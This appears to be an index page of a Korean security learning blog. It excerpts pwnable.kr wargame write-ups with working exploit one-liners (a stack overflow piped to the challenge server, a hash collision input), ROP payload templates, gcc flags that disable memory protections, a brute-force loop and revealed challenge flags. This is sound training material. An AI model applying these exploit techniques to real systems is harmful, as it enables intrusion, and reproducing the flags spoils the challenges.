본문 바로가기

전체 글479

[Pwnable.kr] random 풀이 srand를 안쓰므로 실행 할 때마다 랜덤값이 고정이다. $rbp-0x8은 내가 입력한 0이고, $rbp-0x4는 고정 random 값이다. key ^ random 값이 0xdeadbeef와 같아야 하기 때문에 0xdeadbeef ^ 0x6b8b4567 을 하면 내가 입력해야할 값이 나온다. (0xB526FB88) int형으로 넣어줘야하기 떄문에 0xB526FB88을 정수로 바꾸면 3039230856이 된다. 2022. 2. 19.
[Pwnable.kr] passcode 풀이 (#GOT Overwrite) 오랜만의 pwnable.kr 이당.. C언어로 작성한 코드를 컴파일 할 때 에러는 없었고 경고는 나왔다고 한다.. passcode로 접속을 해보자. #include #include void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); ##################################################### scanf("%d", passcode1); # >> scanf("%d", &passcode1); ##################################################### fflush(stdin); // ha! mommy told me that 32bit is vulnerable .. 2022. 2. 13.
checksec 설치 git clone https://github.com/slimm609/checksec.sh cp ./checksec.sh/checksec /usr/local/bin/ 2022. 2. 1.
ropgadget 설치 sudo pip install ropgadget sudo pip3 install ropgadget 2022. 2. 1.
one-gadget 설치 sudo apt-get install ruby-full gem install one_gadget 2022. 2. 1.
gdb - peda 설치방법 gdb 설치 sudo apt-get install gdb -y peda 설치 git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit 2022. 2. 1.
[Docker] 명령어 정리 이미지 관련 도커 이미지 검색 docker search ubuntu 도커 이미지 다운로드 (태그가 없으면 가장 최신 버전이 다운로드 된다.) docker image pull ubuntu 도커 특정 버전 이미지 다운로드 (태그를 붙여준다.) docker image pull ubuntu:18.04 도커 이미지 목록 출력 docker image ls 도커 이미지 제거 docker image rm ubuntu 컨테이너 관련 도커 컨테이너 시작 - 컨테이너가 부팅되고 빈 명령어 실행 후 종료된다. docker container run ubuntu:18.04 도커 /bin/bash로 실행 (-it 옵션이 상호작용 옵션) docker container run -it ubuntu:18.04 /bin/bash 도커 활성.. 2022. 2. 1.
[Pwnable] Gadget 구하기 ROPgadget (POP RET Gadget) $ ROPgadget --binary [실행 파일] | grep "pop rdi" 0x0000000000000aa3 : pop rdi ; ret objdump (.bss Section) $ objdump -h [실행 파일] | grep .bss 23 .bss 00000020 0000000000201010 0000000000201010 00001010 2**4 $ bss = 0x0000000000201010 One Gadget / Magic Gadget $ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so 0xe6c7e execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r1.. 2022. 1. 29.
[Pwnable] ROP 정리 파일 32bit # read(0, read_got, 0x4) payload += p32(read_plt)# 함수 이름 : read_plt paylaod += p32(pppr)# 인자 개수 : pop pop pop ret payload += p32(0)# 인자 1 : 0 payload += p32(read_got)# 인자 2 : read_got payload += p32(0x4)# 인자 3 : 0x4 64bit # read(0, read_got, 0x8) paylaod += p64(pppr)# 인자 개수 : pop pop pop ret payload += p64(0)# 인자 1 : 0 payload += p64(read_got)# 인자 2 : read_got payload += p64(0x8)# 인자 3 : 0.. 2022. 1. 29.
[pwnable.kr] bof wget를 이용하여 다운로드를 받아준다. wget http://pwnable.kr/bin/bof wget http://pwnable.kr/bin/bof.c gets부분에서 오버플로우가 일어날 수 있고, func 함수의 인자값인 0xdeadbeef를 0xcafebabe로 바꿔야 한다. gdb로 func 함수를 확인해보면, overflowme의 시작지점이 ebp-0x2c라는것을 알 수 있다. 스택을 그리면 overflowme[32] dummy[12] sfp[4] ret[4] 0xdeadbeef[4] 이렇게 된다. (python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000 52바이트의 dummy값을 넣어주고, cafebabe를 리틀엔디언으로 .. 2022. 1. 9.
[pwnable.kr] col flag는 권한이 없어 읽지 못하고, col.c는 읽을 수 있다. 인자값으로 20바이트를 입력해야하며, 4바이트씩 읽어 res에 더하게 된다. 더한 결과값이 0x21DD09EC와 같으면 flag를 출력한다. 반복문을 5번 실행하므로, 0x21DD09EC를 5로 나누면 0x06C5CEC8이 나오고 나머지는 4이다. ./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'` 리틀엔디언으로 작성해야한다. flag : daddy! I just managed to create a hash collision :) 2022. 1. 9.
[pwnable.kr] fd flag는 권한이 없어 읽지 못하고, fd.c 파일은 읽을 수 있다. 인자값을 받아서 0x1234와 연산을 하고, read함수로 결과값을 준다. read함수는 scanf 함수처럼 사용할 수 있으며, read(0, buf, 32); 형식으로 작성하면 된다. 인자값으로 0x1234의 10진수인 4660을 넣어주면 입력을 할 수 있다. flag : mommy! I think I know what a file descriptor is!! 2022. 1. 9.
gcc 메모리 보호 기법 해제 gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -fno-pie -o [filename] [filename].c fon-pie를 해야 PIC 코드가 안생긴다. * -m32가 있어 32비트 실행파일로 컴파일 된다. -m64로 바꾸면 64비트 실행파일로 컴파일 가능. 2021. 12. 16.
[Javascript] 디버깅 방법 Javascript를 분석해야하는데 이번에 디버깅 방법을 알아서 작성한다 ㅠ.. 우선 크롬으로 html 파일을 열어서 F12(개발자 도구)를 열어준다. Sources에 들어가서 해당 Line에 클릭을 하면 화살표가 생기는데 누르면 BP가 생긴다. F5를 눌러서 새로고침을 하면 해당 BP에 멈춰있는 것을 확인할 수 있다. 화살표 버튼을 눌러서 계속 진행할 수 있으며, Breakpoints부분을 통해 걸려있는 BP를 확인할 수 있다. 2021. 11. 14.
[javascript] 생년월일 Brute Force 코드 문제를 풀다가 javascript로 생년월일 Brute Force 해야하는 문제가 나와서 작성을 해보았다. for(var year=99; year>0; year--) { for(var month=12; month>0; month--) { for(var date=31; date>0; date--) { if(year.toString().length == 1) year ='0'.concat(year) if(month.toString().length == 1) month ='0'.concat(month) if(date.toString().length == 1) date ='0'.concat(date) value = ''.concat(year,month,date); } } } 99년도 부터 검색을 시작하도록 만들.. 2021. 11. 14.